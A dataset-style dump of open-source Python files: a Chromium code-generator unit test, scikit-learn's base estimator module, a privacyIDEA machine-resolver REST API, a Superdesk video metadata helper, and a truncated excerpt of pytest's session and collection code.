repo_name
stringlengths 5
100
| path
stringlengths 4
375
| copies
stringclasses 991
values | size
stringlengths 4
7
| content
stringlengths 666
1M
| license
stringclasses 15
values |
---|---|---|---|---|---|
TeslaProject/external_chromium_org
|
tools/json_schema_compiler/cpp_util_test.py
|
96
|
2096
|
#!/usr/bin/env python
# Copyright (c) 2012 The Chromium Authors. All rights reserved.
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
import unittest
from cpp_util import (
Classname, CloseNamespace, GenerateIfndefName, OpenNamespace)
class CppUtilTest(unittest.TestCase):
def testClassname(self):
self.assertEquals('Permissions', Classname('permissions'))
self.assertEquals('UpdateAllTheThings',
Classname('updateAllTheThings'))
self.assertEquals('Aa_Bb_Cc', Classname('aa.bb.cc'))
def testNamespaceDeclaration(self):
self.assertEquals('namespace foo {',
OpenNamespace('foo').Render())
self.assertEquals('} // namespace foo',
CloseNamespace('foo').Render())
self.assertEquals(
'namespace extensions {\n'
'namespace foo {',
OpenNamespace('extensions::foo').Render())
self.assertEquals(
'} // namespace foo\n'
'} // namespace extensions',
CloseNamespace('extensions::foo').Render())
self.assertEquals(
'namespace extensions {\n'
'namespace gen {\n'
'namespace api {',
OpenNamespace('extensions::gen::api').Render())
self.assertEquals(
'} // namespace api\n'
'} // namespace gen\n'
'} // namespace extensions',
CloseNamespace('extensions::gen::api').Render())
self.assertEquals(
'namespace extensions {\n'
'namespace gen {\n'
'namespace api {\n'
'namespace foo {',
OpenNamespace('extensions::gen::api::foo').Render())
self.assertEquals(
'} // namespace foo\n'
'} // namespace api\n'
'} // namespace gen\n'
'} // namespace extensions',
CloseNamespace('extensions::gen::api::foo').Render())
def testGenerateIfndefName(self):
self.assertEquals('FOO_BAR_BAZ_H__', GenerateIfndefName('foo\\bar\\baz.h'))
self.assertEquals('FOO_BAR_BAZ_H__', GenerateIfndefName('foo/bar/baz.h'))
if __name__ == '__main__':
unittest.main()
|
bsd-3-clause
|
tmhm/scikit-learn
|
sklearn/base.py
|
79
|
17441
|
"""Base classes for all estimators."""
# Author: Gael Varoquaux <[email protected]>
# License: BSD 3 clause
import copy
import inspect
import warnings
import numpy as np
from scipy import sparse
from .externals import six
class ChangedBehaviorWarning(UserWarning):
pass
##############################################################################
def clone(estimator, safe=True):
"""Constructs a new estimator with the same parameters.
Clone does a deep copy of the model in an estimator
without actually copying attached data. It yields a new estimator
with the same parameters that has not been fit on any data.
Parameters
----------
estimator: estimator object, or list, tuple or set of objects
The estimator or group of estimators to be cloned
safe: boolean, optional
If safe is false, clone will fall back to a deepcopy on objects
that are not estimators.
"""
estimator_type = type(estimator)
# XXX: not handling dictionaries
if estimator_type in (list, tuple, set, frozenset):
return estimator_type([clone(e, safe=safe) for e in estimator])
elif not hasattr(estimator, 'get_params'):
if not safe:
return copy.deepcopy(estimator)
else:
raise TypeError("Cannot clone object '%s' (type %s): "
"it does not seem to be a scikit-learn estimator "
"as it does not implement a 'get_params' methods."
% (repr(estimator), type(estimator)))
klass = estimator.__class__
new_object_params = estimator.get_params(deep=False)
for name, param in six.iteritems(new_object_params):
new_object_params[name] = clone(param, safe=False)
new_object = klass(**new_object_params)
params_set = new_object.get_params(deep=False)
# quick sanity check of the parameters of the clone
for name in new_object_params:
param1 = new_object_params[name]
param2 = params_set[name]
if isinstance(param1, np.ndarray):
# For most ndarrays, we do not test for complete equality
if not isinstance(param2, type(param1)):
equality_test = False
elif (param1.ndim > 0
and param1.shape[0] > 0
and isinstance(param2, np.ndarray)
and param2.ndim > 0
and param2.shape[0] > 0):
equality_test = (
param1.shape == param2.shape
and param1.dtype == param2.dtype
# We have to use '.flat' for 2D arrays
and param1.flat[0] == param2.flat[0]
and param1.flat[-1] == param2.flat[-1]
)
else:
equality_test = np.all(param1 == param2)
elif sparse.issparse(param1):
# For sparse matrices equality doesn't work
if not sparse.issparse(param2):
equality_test = False
elif param1.size == 0 or param2.size == 0:
equality_test = (
param1.__class__ == param2.__class__
and param1.size == 0
and param2.size == 0
)
else:
equality_test = (
param1.__class__ == param2.__class__
and param1.data[0] == param2.data[0]
and param1.data[-1] == param2.data[-1]
and param1.nnz == param2.nnz
and param1.shape == param2.shape
)
else:
new_obj_val = new_object_params[name]
params_set_val = params_set[name]
# The following construct is required to check equality on special
# singletons such as np.nan that are not equal to them-selves:
equality_test = (new_obj_val == params_set_val or
new_obj_val is params_set_val)
if not equality_test:
raise RuntimeError('Cannot clone object %s, as the constructor '
'does not seem to set parameter %s' %
(estimator, name))
return new_object
###############################################################################
def _pprint(params, offset=0, printer=repr):
"""Pretty print the dictionary 'params'
Parameters
----------
params: dict
The dictionary to pretty print
offset: int
The offset in characters to add at the begin of each line.
printer:
The function to convert entries to strings, typically
the builtin str or repr
"""
# Do a multi-line justified repr:
options = np.get_printoptions()
np.set_printoptions(precision=5, threshold=64, edgeitems=2)
params_list = list()
this_line_length = offset
line_sep = ',\n' + (1 + offset // 2) * ' '
for i, (k, v) in enumerate(sorted(six.iteritems(params))):
if type(v) is float:
# use str for representing floating point numbers
# this way we get consistent representation across
# architectures and versions.
this_repr = '%s=%s' % (k, str(v))
else:
# use repr of the rest
this_repr = '%s=%s' % (k, printer(v))
if len(this_repr) > 500:
this_repr = this_repr[:300] + '...' + this_repr[-100:]
if i > 0:
if (this_line_length + len(this_repr) >= 75 or '\n' in this_repr):
params_list.append(line_sep)
this_line_length = len(line_sep)
else:
params_list.append(', ')
this_line_length += 2
params_list.append(this_repr)
this_line_length += len(this_repr)
np.set_printoptions(**options)
lines = ''.join(params_list)
# Strip trailing space to avoid nightmare in doctests
lines = '\n'.join(l.rstrip(' ') for l in lines.split('\n'))
return lines
###############################################################################
class BaseEstimator(object):
"""Base class for all estimators in scikit-learn
Notes
-----
All estimators should specify all the parameters that can be set
at the class level in their ``__init__`` as explicit keyword
arguments (no ``*args`` or ``**kwargs``).
"""
@classmethod
def _get_param_names(cls):
"""Get parameter names for the estimator"""
# fetch the constructor or the original constructor before
# deprecation wrapping if any
init = getattr(cls.__init__, 'deprecated_original', cls.__init__)
if init is object.__init__:
# No explicit constructor to introspect
return []
# introspect the constructor arguments to find the model parameters
# to represent
args, varargs, kw, default = inspect.getargspec(init)
if varargs is not None:
raise RuntimeError("scikit-learn estimators should always "
"specify their parameters in the signature"
" of their __init__ (no varargs)."
" %s doesn't follow this convention."
% (cls, ))
# Remove 'self'
# XXX: This is going to fail if the init is a staticmethod, but
# who would do this?
args.pop(0)
args.sort()
return args
def get_params(self, deep=True):
"""Get parameters for this estimator.
Parameters
----------
deep: boolean, optional
If True, will return the parameters for this estimator and
contained subobjects that are estimators.
Returns
-------
params : mapping of string to any
Parameter names mapped to their values.
"""
out = dict()
for key in self._get_param_names():
# We need deprecation warnings to always be on in order to
# catch deprecated param values.
# This is set in utils/__init__.py but it gets overwritten
# when running under python3 somehow.
warnings.simplefilter("always", DeprecationWarning)
try:
with warnings.catch_warnings(record=True) as w:
value = getattr(self, key, None)
if len(w) and w[0].category == DeprecationWarning:
# if the parameter is deprecated, don't show it
continue
finally:
warnings.filters.pop(0)
# XXX: should we rather test if instance of estimator?
if deep and hasattr(value, 'get_params'):
deep_items = value.get_params().items()
out.update((key + '__' + k, val) for k, val in deep_items)
out[key] = value
return out
def set_params(self, **params):
"""Set the parameters of this estimator.
The method works on simple estimators as well as on nested objects
(such as pipelines). The former have parameters of the form
``<component>__<parameter>`` so that it's possible to update each
component of a nested object.
Returns
-------
self
"""
if not params:
# Simple optimisation to gain speed (inspect is slow)
return self
valid_params = self.get_params(deep=True)
for key, value in six.iteritems(params):
split = key.split('__', 1)
if len(split) > 1:
# nested objects case
name, sub_name = split
if name not in valid_params:
raise ValueError('Invalid parameter %s for estimator %s. '
'Check the list of available parameters '
'with `estimator.get_params().keys()`.' %
(name, self))
sub_object = valid_params[name]
sub_object.set_params(**{sub_name: value})
else:
# simple objects case
if key not in valid_params:
raise ValueError('Invalid parameter %s for estimator %s. '
'Check the list of available parameters '
'with `estimator.get_params().keys()`.' %
(key, self.__class__.__name__))
setattr(self, key, value)
return self
def __repr__(self):
class_name = self.__class__.__name__
return '%s(%s)' % (class_name, _pprint(self.get_params(deep=False),
offset=len(class_name),),)
###############################################################################
class ClassifierMixin(object):
"""Mixin class for all classifiers in scikit-learn."""
_estimator_type = "classifier"
def score(self, X, y, sample_weight=None):
"""Returns the mean accuracy on the given test data and labels.
In multi-label classification, this is the subset accuracy
which is a harsh metric since you require for each sample that
each label set be correctly predicted.
Parameters
----------
X : array-like, shape = (n_samples, n_features)
Test samples.
y : array-like, shape = (n_samples) or (n_samples, n_outputs)
True labels for X.
sample_weight : array-like, shape = [n_samples], optional
Sample weights.
Returns
-------
score : float
Mean accuracy of self.predict(X) wrt. y.
"""
from .metrics import accuracy_score
return accuracy_score(y, self.predict(X), sample_weight=sample_weight)
###############################################################################
class RegressorMixin(object):
"""Mixin class for all regression estimators in scikit-learn."""
_estimator_type = "regressor"
def score(self, X, y, sample_weight=None):
"""Returns the coefficient of determination R^2 of the prediction.
The coefficient R^2 is defined as (1 - u/v), where u is the regression
sum of squares ((y_true - y_pred) ** 2).sum() and v is the residual
sum of squares ((y_true - y_true.mean()) ** 2).sum().
Best possible score is 1.0 and it can be negative (because the
model can be arbitrarily worse). A constant model that always
predicts the expected value of y, disregarding the input features,
would get a R^2 score of 0.0.
Parameters
----------
X : array-like, shape = (n_samples, n_features)
Test samples.
y : array-like, shape = (n_samples) or (n_samples, n_outputs)
True values for X.
sample_weight : array-like, shape = [n_samples], optional
Sample weights.
Returns
-------
score : float
R^2 of self.predict(X) wrt. y.
"""
from .metrics import r2_score
return r2_score(y, self.predict(X), sample_weight=sample_weight,
multioutput='variance_weighted')
###############################################################################
class ClusterMixin(object):
"""Mixin class for all cluster estimators in scikit-learn."""
_estimator_type = "clusterer"
def fit_predict(self, X, y=None):
"""Performs clustering on X and returns cluster labels.
Parameters
----------
X : ndarray, shape (n_samples, n_features)
Input data.
Returns
-------
y : ndarray, shape (n_samples,)
cluster labels
"""
# non-optimized default implementation; override when a better
# method is possible for a given clustering algorithm
self.fit(X)
return self.labels_
class BiclusterMixin(object):
"""Mixin class for all bicluster estimators in scikit-learn"""
@property
def biclusters_(self):
"""Convenient way to get row and column indicators together.
Returns the ``rows_`` and ``columns_`` members.
"""
return self.rows_, self.columns_
def get_indices(self, i):
"""Row and column indices of the i'th bicluster.
Only works if ``rows_`` and ``columns_`` attributes exist.
Returns
-------
row_ind : np.array, dtype=np.intp
Indices of rows in the dataset that belong to the bicluster.
col_ind : np.array, dtype=np.intp
Indices of columns in the dataset that belong to the bicluster.
"""
rows = self.rows_[i]
columns = self.columns_[i]
return np.nonzero(rows)[0], np.nonzero(columns)[0]
def get_shape(self, i):
"""Shape of the i'th bicluster.
Returns
-------
shape : (int, int)
Number of rows and columns (resp.) in the bicluster.
"""
indices = self.get_indices(i)
return tuple(len(i) for i in indices)
def get_submatrix(self, i, data):
"""Returns the submatrix corresponding to bicluster `i`.
Works with sparse matrices. Only works if ``rows_`` and
``columns_`` attributes exist.
"""
from .utils.validation import check_array
data = check_array(data, accept_sparse='csr')
row_ind, col_ind = self.get_indices(i)
return data[row_ind[:, np.newaxis], col_ind]
###############################################################################
class TransformerMixin(object):
"""Mixin class for all transformers in scikit-learn."""
def fit_transform(self, X, y=None, **fit_params):
"""Fit to data, then transform it.
Fits transformer to X and y with optional parameters fit_params
and returns a transformed version of X.
Parameters
----------
X : numpy array of shape [n_samples, n_features]
Training set.
y : numpy array of shape [n_samples]
Target values.
Returns
-------
X_new : numpy array of shape [n_samples, n_features_new]
Transformed array.
"""
# non-optimized default implementation; override when a better
# method is possible for a given clustering algorithm
if y is None:
# fit method of arity 1 (unsupervised transformation)
return self.fit(X, **fit_params).transform(X)
else:
# fit method of arity 2 (supervised transformation)
return self.fit(X, y, **fit_params).transform(X)
###############################################################################
class MetaEstimatorMixin(object):
"""Mixin class for all meta estimators in scikit-learn."""
# this is just a tag for the moment
###############################################################################
def is_classifier(estimator):
"""Returns True if the given estimator is (probably) a classifier."""
return getattr(estimator, "_estimator_type", None) == "classifier"
def is_regressor(estimator):
"""Returns True if the given estimator is (probably) a regressor."""
return getattr(estimator, "_estimator_type", None) == "regressor"
|
bsd-3-clause
|
jshufelt/privacyidea
|
privacyidea/api/machineresolver.py
|
3
|
4810
|
# -*- coding: utf-8 -*-
#
# http://www.privacyidea.org
# (c) Cornelius Kölbel, privacyidea.org
#
# 2015-02-26 Cornelius Kölbel, <[email protected]>
# Initial writeup
#
# This code is free software; you can redistribute it and/or
# modify it under the terms of the GNU AFFERO GENERAL PUBLIC LICENSE
# License as published by the Free Software Foundation; either
# version 3 of the License, or any later version.
#
# This code is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU AFFERO GENERAL PUBLIC LICENSE for more details.
#
# You should have received a copy of the GNU Affero General Public
# License along with this program. If not, see <http://www.gnu.org/licenses/>.
#
"""
This endpoint is used to create, modify, list and delete Machine Resolvers.
Machine Resolvers fetch machine information from remote machine stores like a
hosts file or an Active Directory.
The code of this module is tested in tests/test_api_machineresolver.py
"""
from flask import (Blueprint,
request)
from lib.utils import (getParam,
optional,
required,
send_result)
from ..lib.log import log_with
from ..lib.machineresolver import (get_resolver_list, save_resolver, delete_resolver,
pretestresolver)
from flask import g
import logging
from ..api.lib.prepolicy import prepolicy, check_base_action
from ..lib.policy import ACTION
log = logging.getLogger(__name__)
machineresolver_blueprint = Blueprint('machineresolver_blueprint', __name__)
@log_with(log)
@machineresolver_blueprint.route('/', methods=['GET'])
def get_resolvers():
"""
returns a json list of all machine resolver.
:param type: Only return resolvers of type (like "hosts"...)
"""
typ = getParam(request.all_data, "type", optional)
res = get_resolver_list(filter_resolver_type=typ)
g.audit_object.log({"success": True})
return send_result(res)
@log_with(log)
@machineresolver_blueprint.route('/<resolver>', methods=['POST'])
@prepolicy(check_base_action, request, ACTION.MACHINERESOLVERWRITE)
def set_resolver(resolver=None):
"""
This creates a new machine resolver or updates an existing one.
A resolver is uniquely identified by its name.
If you update a resolver, you do not need to provide all parameters.
Parameters you do not provide are left untouched.
When updating a resolver you must not change the type!
You do not need to specify the type, but if you specify a wrong type,
it will produce an error.
:param resolver: the name of the resolver.
:type resolver: basestring
:param type: the type of the resolver. Valid types are... "hosts"
:type type: string
:return: a json result with the value being the database id (>0)
Additional parameters depend on the resolver type.
hosts:
* filename
"""
param = request.all_data
if resolver:
# The resolver parameter was passed as a part of the URL
param.update({"name": resolver})
res = save_resolver(param)
return send_result(res)
@log_with(log)
@machineresolver_blueprint.route('/<resolver>', methods=['DELETE'])
@prepolicy(check_base_action, request, ACTION.MACHINERESOLVERDELETE)
def delete_resolver_api(resolver=None):
"""
this function deletes an existing machine resolver
:param resolver: the name of the resolver to delete.
:return: json with success or fail
"""
res = delete_resolver(resolver)
g.audit_object.log({"success": res,
"info": resolver})
return send_result(res)
@log_with(log)
@machineresolver_blueprint.route('/<resolver>', methods=['GET'])
def get_resolver(resolver=None):
"""
This function retrieves the definition of a single machine resolver.
:param resolver: the name of the resolver
:return: a json result with the configuration of a specified resolver
"""
res = get_resolver_list(filter_resolver_name=resolver)
g.audit_object.log({"success": True,
"info": resolver})
return send_result(res)
@log_with(log)
@machineresolver_blueprint.route('/test', methods=["POST"])
def test_resolver():
"""
This function tests, if the given parameter will create a working
machine resolver. The Machine Resolver Class itself verifies the
functionality. This can also be network connectivity to a Machine Store.
:return: a json result with bool
"""
param = request.all_data
rtype = getParam(param, "type", required)
success, desc = pretestresolver(rtype, param)
return send_result(success, details={"description": desc})
|
agpl-3.0
|
marwoodandrew/superdesk-core
|
superdesk/media/video.py
|
12
|
1271
|
# -*- coding: utf-8; -*-
#
# This file is part of Superdesk.
#
# Copyright 2013, 2014 Sourcefabric z.u. and contributors.
#
# For the full copyright and license information, please see the
# AUTHORS and LICENSE files distributed with this source code, or
# at https://www.sourcefabric.org/superdesk/license
from hachoir.stream import InputIOStream
from hachoir.parser import guessParser
from hachoir.metadata import extractMetadata
from flask import json
import logging
logger = logging.getLogger(__name__)
def get_meta(filestream):
metadata = {}
try:
filestream.seek(0)
stream = InputIOStream(filestream, None, tags=[])
parser = guessParser(stream)
if not parser:
return metadata
tags = extractMetadata(parser).exportPlaintext(human=False, line_prefix='')
for text in tags:
try:
json.dumps(text)
key, value = text.split(':', maxsplit=1)
key, value = key.strip(), value.strip()
if key and value:
metadata.update({key: value})
except Exception as ex:
logger.exception(ex)
except Exception as ex:
logger.exception(ex)
return metadata
return metadata
|
agpl-3.0
|
edunham/servo
|
tests/wpt/web-platform-tests/tools/pytest/_pytest/main.py
|
171
|
26357
|
""" core implementation of testing process: init, session, runtest loop. """
import imp
import os
import re
import sys
import _pytest
import _pytest._code
import py
import pytest
try:
from collections import MutableMapping as MappingMixin
except ImportError:
from UserDict import DictMixin as MappingMixin
from _pytest.runner import collect_one_node
tracebackcutdir = py.path.local(_pytest.__file__).dirpath()
# exitcodes for the command line
EXIT_OK = 0
EXIT_TESTSFAILED = 1
EXIT_INTERRUPTED = 2
EXIT_INTERNALERROR = 3
EXIT_USAGEERROR = 4
EXIT_NOTESTSCOLLECTED = 5
name_re = re.compile("^[a-zA-Z_]\w*$")
def pytest_addoption(parser):
parser.addini("norecursedirs", "directory patterns to avoid for recursion",
type="args", default=['.*', 'CVS', '_darcs', '{arch}', '*.egg'])
parser.addini("testpaths", "directories to search for tests when no files or directories are given in the command line.",
type="args", default=[])
#parser.addini("dirpatterns",
# "patterns specifying possible locations of test files",
# type="linelist", default=["**/test_*.txt",
# "**/test_*.py", "**/*_test.py"]
#)
group = parser.getgroup("general", "running and selection options")
group._addoption('-x', '--exitfirst', action="store_true", default=False,
dest="exitfirst",
help="exit instantly on first error or failed test."),
group._addoption('--maxfail', metavar="num",
action="store", type=int, dest="maxfail", default=0,
help="exit after first num failures or errors.")
group._addoption('--strict', action="store_true",
help="run pytest in strict mode, warnings become errors.")
group._addoption("-c", metavar="file", type=str, dest="inifilename",
help="load configuration from `file` instead of trying to locate one of the implicit configuration files.")
group = parser.getgroup("collect", "collection")
group.addoption('--collectonly', '--collect-only', action="store_true",
help="only collect tests, don't execute them."),
group.addoption('--pyargs', action="store_true",
help="try to interpret all arguments as python packages.")
group.addoption("--ignore", action="append", metavar="path",
help="ignore path during collection (multi-allowed).")
# when changing this to --conf-cut-dir, config.py Conftest.setinitial
# needs upgrading as well
group.addoption('--confcutdir', dest="confcutdir", default=None,
metavar="dir",
help="only load conftest.py's relative to specified dir.")
group.addoption('--noconftest', action="store_true",
dest="noconftest", default=False,
help="Don't load any conftest.py files.")
group = parser.getgroup("debugconfig",
"test session debugging and configuration")
group.addoption('--basetemp', dest="basetemp", default=None, metavar="dir",
help="base temporary directory for this test run.")
def pytest_namespace():
collect = dict(Item=Item, Collector=Collector, File=File, Session=Session)
return dict(collect=collect)
def pytest_configure(config):
pytest.config = config # compatibiltiy
if config.option.exitfirst:
config.option.maxfail = 1
def wrap_session(config, doit):
"""Skeleton command line program"""
session = Session(config)
session.exitstatus = EXIT_OK
initstate = 0
try:
try:
config._do_configure()
initstate = 1
config.hook.pytest_sessionstart(session=session)
initstate = 2
session.exitstatus = doit(config, session) or 0
except pytest.UsageError:
raise
except KeyboardInterrupt:
excinfo = _pytest._code.ExceptionInfo()
config.hook.pytest_keyboard_interrupt(excinfo=excinfo)
session.exitstatus = EXIT_INTERRUPTED
except:
excinfo = _pytest._code.ExceptionInfo()
config.notify_exception(excinfo, config.option)
session.exitstatus = EXIT_INTERNALERROR
if excinfo.errisinstance(SystemExit):
sys.stderr.write("mainloop: caught Spurious SystemExit!\n")
finally:
excinfo = None # Explicitly break reference cycle.
session.startdir.chdir()
if initstate >= 2:
config.hook.pytest_sessionfinish(
session=session,
exitstatus=session.exitstatus)
config._ensure_unconfigure()
return session.exitstatus
def pytest_cmdline_main(config):
return wrap_session(config, _main)
def _main(config, session):
""" default command line protocol for initialization, session,
running tests and reporting. """
config.hook.pytest_collection(session=session)
config.hook.pytest_runtestloop(session=session)
if session.testsfailed:
return EXIT_TESTSFAILED
elif session.testscollected == 0:
return EXIT_NOTESTSCOLLECTED
def pytest_collection(session):
return session.perform_collect()
def pytest_runtestloop(session):
if session.config.option.collectonly:
return True
def getnextitem(i):
# this is a function to avoid python2
# keeping sys.exc_info set when calling into a test
# python2 keeps sys.exc_info till the frame is left
try:
return session.items[i+1]
except IndexError:
return None
for i, item in enumerate(session.items):
nextitem = getnextitem(i)
item.config.hook.pytest_runtest_protocol(item=item, nextitem=nextitem)
if session.shouldstop:
raise session.Interrupted(session.shouldstop)
return True
def pytest_ignore_collect(path, config):
p = path.dirpath()
ignore_paths = config._getconftest_pathlist("collect_ignore", path=p)
ignore_paths = ignore_paths or []
excludeopt = config.getoption("ignore")
if excludeopt:
ignore_paths.extend([py.path.local(x) for x in excludeopt])
return path in ignore_paths
class FSHookProxy:
def __init__(self, fspath, pm, remove_mods):
self.fspath = fspath
self.pm = pm
self.remove_mods = remove_mods
def __getattr__(self, name):
x = self.pm.subset_hook_caller(name, remove_plugins=self.remove_mods)
self.__dict__[name] = x
return x
def compatproperty(name):
def fget(self):
# deprecated - use pytest.name
return getattr(pytest, name)
return property(fget)
class NodeKeywords(MappingMixin):
def __init__(self, node):
self.node = node
self.parent = node.parent
self._markers = {node.name: True}
def __getitem__(self, key):
try:
return self._markers[key]
except KeyError:
if self.parent is None:
raise
return self.parent.keywords[key]
def __setitem__(self, key, value):
self._markers[key] = value
def __delitem__(self, key):
raise ValueError("cannot delete key in keywords dict")
def __iter__(self):
seen = set(self._markers)
if self.parent is not None:
seen.update(self.parent.keywords)
return iter(seen)
def __len__(self):
return len(self.__iter__())
def keys(self):
return list(self)
def __repr__(self):
return "<NodeKeywords for node %s>" % (self.node, )
class Node(object):
""" base class for Collector and Item the test collection tree.
Collector subclasses have children, Items are terminal nodes."""
def __init__(self, name, parent=None, config=None, session=None):
#: a unique name within the scope of the parent node
self.name = name
#: the parent collector node.
self.parent = parent
#: the pytest config object
self.config = config or parent.config
#: the session this node is part of
self.session = session or parent.session
#: filesystem path where this node was collected from (can be None)
self.fspath = getattr(parent, 'fspath', None)
#: keywords/markers collected from all scopes
self.keywords = NodeKeywords(self)
#: allow adding of extra keywords to use for matching
self.extra_keyword_matches = set()
# used for storing artificial fixturedefs for direct parametrization
self._name2pseudofixturedef = {}
@property
def ihook(self):
""" fspath sensitive hook proxy used to call pytest hooks"""
return self.session.gethookproxy(self.fspath)
Module = compatproperty("Module")
Class = compatproperty("Class")
Instance = compatproperty("Instance")
Function = compatproperty("Function")
File = compatproperty("File")
Item = compatproperty("Item")
def _getcustomclass(self, name):
cls = getattr(self, name)
if cls != getattr(pytest, name):
py.log._apiwarn("2.0", "use of node.%s is deprecated, "
"use pytest_pycollect_makeitem(...) to create custom "
"collection nodes" % name)
return cls
def __repr__(self):
return "<%s %r>" %(self.__class__.__name__,
getattr(self, 'name', None))
def warn(self, code, message):
""" generate a warning with the given code and message for this
item. """
assert isinstance(code, str)
fslocation = getattr(self, "location", None)
if fslocation is None:
fslocation = getattr(self, "fspath", None)
else:
fslocation = "%s:%s" % fslocation[:2]
self.ihook.pytest_logwarning.call_historic(kwargs=dict(
code=code, message=message,
nodeid=self.nodeid, fslocation=fslocation))
# methods for ordering nodes
@property
def nodeid(self):
""" a ::-separated string denoting its collection tree address. """
try:
return self._nodeid
except AttributeError:
self._nodeid = x = self._makeid()
return x
def _makeid(self):
return self.parent.nodeid + "::" + self.name
def __hash__(self):
return hash(self.nodeid)
def setup(self):
pass
def teardown(self):
pass
def _memoizedcall(self, attrname, function):
exattrname = "_ex_" + attrname
failure = getattr(self, exattrname, None)
if failure is not None:
py.builtin._reraise(failure[0], failure[1], failure[2])
if hasattr(self, attrname):
return getattr(self, attrname)
try:
res = function()
except py.builtin._sysex:
raise
except:
failure = sys.exc_info()
setattr(self, exattrname, failure)
raise
setattr(self, attrname, res)
return res
def listchain(self):
""" return list of all parent collectors up to self,
starting from root of collection tree. """
chain = []
item = self
while item is not None:
chain.append(item)
item = item.parent
chain.reverse()
return chain
def add_marker(self, marker):
""" dynamically add a marker object to the node.
``marker`` can be a string or pytest.mark.* instance.
"""
from _pytest.mark import MarkDecorator
if isinstance(marker, py.builtin._basestring):
marker = MarkDecorator(marker)
elif not isinstance(marker, MarkDecorator):
raise ValueError("is not a string or pytest.mark.* Marker")
self.keywords[marker.name] = marker
def get_marker(self, name):
""" get a marker object from this node or None if
the node doesn't have a marker with that name. """
val = self.keywords.get(name, None)
if val is not None:
from _pytest.mark import MarkInfo, MarkDecorator
if isinstance(val, (MarkDecorator, MarkInfo)):
return val
def listextrakeywords(self):
""" Return a set of all extra keywords in self and any parents."""
extra_keywords = set()
item = self
for item in self.listchain():
extra_keywords.update(item.extra_keyword_matches)
return extra_keywords
def listnames(self):
return [x.name for x in self.listchain()]
def addfinalizer(self, fin):
""" register a function to be called when this node is finalized.
This method can only be called when this node is active
in a setup chain, for example during self.setup().
"""
self.session._setupstate.addfinalizer(fin, self)
def getparent(self, cls):
""" get the next parent node (including ourself)
which is an instance of the given class"""
current = self
while current and not isinstance(current, cls):
current = current.parent
return current
def _prunetraceback(self, excinfo):
pass
def _repr_failure_py(self, excinfo, style=None):
fm = self.session._fixturemanager
if excinfo.errisinstance(fm.FixtureLookupError):
return excinfo.value.formatrepr()
tbfilter = True
if self.config.option.fulltrace:
style="long"
else:
self._prunetraceback(excinfo)
tbfilter = False # prunetraceback already does it
if style == "auto":
style = "long"
# XXX should excinfo.getrepr record all data and toterminal() process it?
if style is None:
if self.config.option.tbstyle == "short":
style = "short"
else:
style = "long"
return excinfo.getrepr(funcargs=True,
showlocals=self.config.option.showlocals,
style=style, tbfilter=tbfilter)
repr_failure = _repr_failure_py
class Collector(Node):
""" Collector instances create children through collect()
and thus iteratively build a tree.
"""
class CollectError(Exception):
""" an error during collection, contains a custom message. """
def collect(self):
""" returns a list of children (items and collectors)
for this collection node.
"""
raise NotImplementedError("abstract")
def repr_failure(self, excinfo):
""" represent a collection failure. """
if excinfo.errisinstance(self.CollectError):
exc = excinfo.value
return str(exc.args[0])
return self._repr_failure_py(excinfo, style="short")
def _memocollect(self):
""" internal helper method to cache results of calling collect(). """
return self._memoizedcall('_collected', lambda: list(self.collect()))
def _prunetraceback(self, excinfo):
if hasattr(self, 'fspath'):
traceback = excinfo.traceback
ntraceback = traceback.cut(path=self.fspath)
if ntraceback == traceback:
ntraceback = ntraceback.cut(excludepath=tracebackcutdir)
excinfo.traceback = ntraceback.filter()
class FSCollector(Collector):
def __init__(self, fspath, parent=None, config=None, session=None):
fspath = py.path.local(fspath) # xxx only for test_resultlog.py?
name = fspath.basename
if parent is not None:
rel = fspath.relto(parent.fspath)
if rel:
name = rel
name = name.replace(os.sep, "/")
super(FSCollector, self).__init__(name, parent, config, session)
self.fspath = fspath
def _makeid(self):
relpath = self.fspath.relto(self.config.rootdir)
if os.sep != "/":
relpath = relpath.replace(os.sep, "/")
return relpath
class File(FSCollector):
""" base class for collecting tests from a file. """
class Item(Node):
""" a basic test invocation item. Note that for a single function
there might be multiple test invocation items.
"""
nextitem = None
def __init__(self, name, parent=None, config=None, session=None):
super(Item, self).__init__(name, parent, config, session)
self._report_sections = []
def add_report_section(self, when, key, content):
if content:
self._report_sections.append((when, key, content))
def reportinfo(self):
return self.fspath, None, ""
@property
def location(self):
try:
return self._location
except AttributeError:
location = self.reportinfo()
# bestrelpath is a quite slow function
cache = self.config.__dict__.setdefault("_bestrelpathcache", {})
try:
fspath = cache[location[0]]
except KeyError:
fspath = self.session.fspath.bestrelpath(location[0])
cache[location[0]] = fspath
location = (fspath, location[1], str(location[2]))
self._location = location
return location
class NoMatch(Exception):
""" raised if matching cannot locate a matching names. """
class Interrupted(KeyboardInterrupt):
""" signals an interrupted test run. """
__module__ = 'builtins' # for py3
class Session(FSCollector):
Interrupted = Interrupted
def __init__(self, config):
FSCollector.__init__(self, config.rootdir, parent=None,
config=config, session=self)
self._fs2hookproxy = {}
self.testsfailed = 0
self.testscollected = 0
self.shouldstop = False
self.trace = config.trace.root.get("collection")
self._norecursepatterns = config.getini("norecursedirs")
self.startdir = py.path.local()
self.config.pluginmanager.register(self, name="session")
def _makeid(self):
return ""
@pytest.hookimpl(tryfirst=True)
def pytest_collectstart(self):
if self.shouldstop:
raise self.Interrupted(self.shouldstop)
@pytest.hookimpl(tryfirst=True)
def pytest_runtest_logreport(self, report):
if report.failed and not hasattr(report, 'wasxfail'):
self.testsfailed += 1
maxfail = self.config.getvalue("maxfail")
if maxfail and self.testsfailed >= maxfail:
self.shouldstop = "stopping after %d failures" % (
self.testsfailed)
pytest_collectreport = pytest_runtest_logreport
def isinitpath(self, path):
return path in self._initialpaths
def gethookproxy(self, fspath):
try:
return self._fs2hookproxy[fspath]
except KeyError:
# check if we have the common case of running
# hooks with all conftest.py filesall conftest.py
pm = self.config.pluginmanager
my_conftestmodules = pm._getconftestmodules(fspath)
remove_mods = pm._conftest_plugins.difference(my_conftestmodules)
if remove_mods:
# one or more conftests are not in use at this fspath
proxy = FSHookProxy(fspath, pm, remove_mods)
else:
# all plugis are active for this fspath
proxy = self.config.hook
self._fs2hookproxy[fspath] = proxy
return proxy
def perform_collect(self, args=None, genitems=True):
hook = self.config.hook
try:
items = self._perform_collect(args, genitems)
hook.pytest_collection_modifyitems(session=self,
config=self.config, items=items)
finally:
hook.pytest_collection_finish(session=self)
self.testscollected = len(items)
return items
def _perform_collect(self, args, genitems):
if args is None:
args = self.config.args
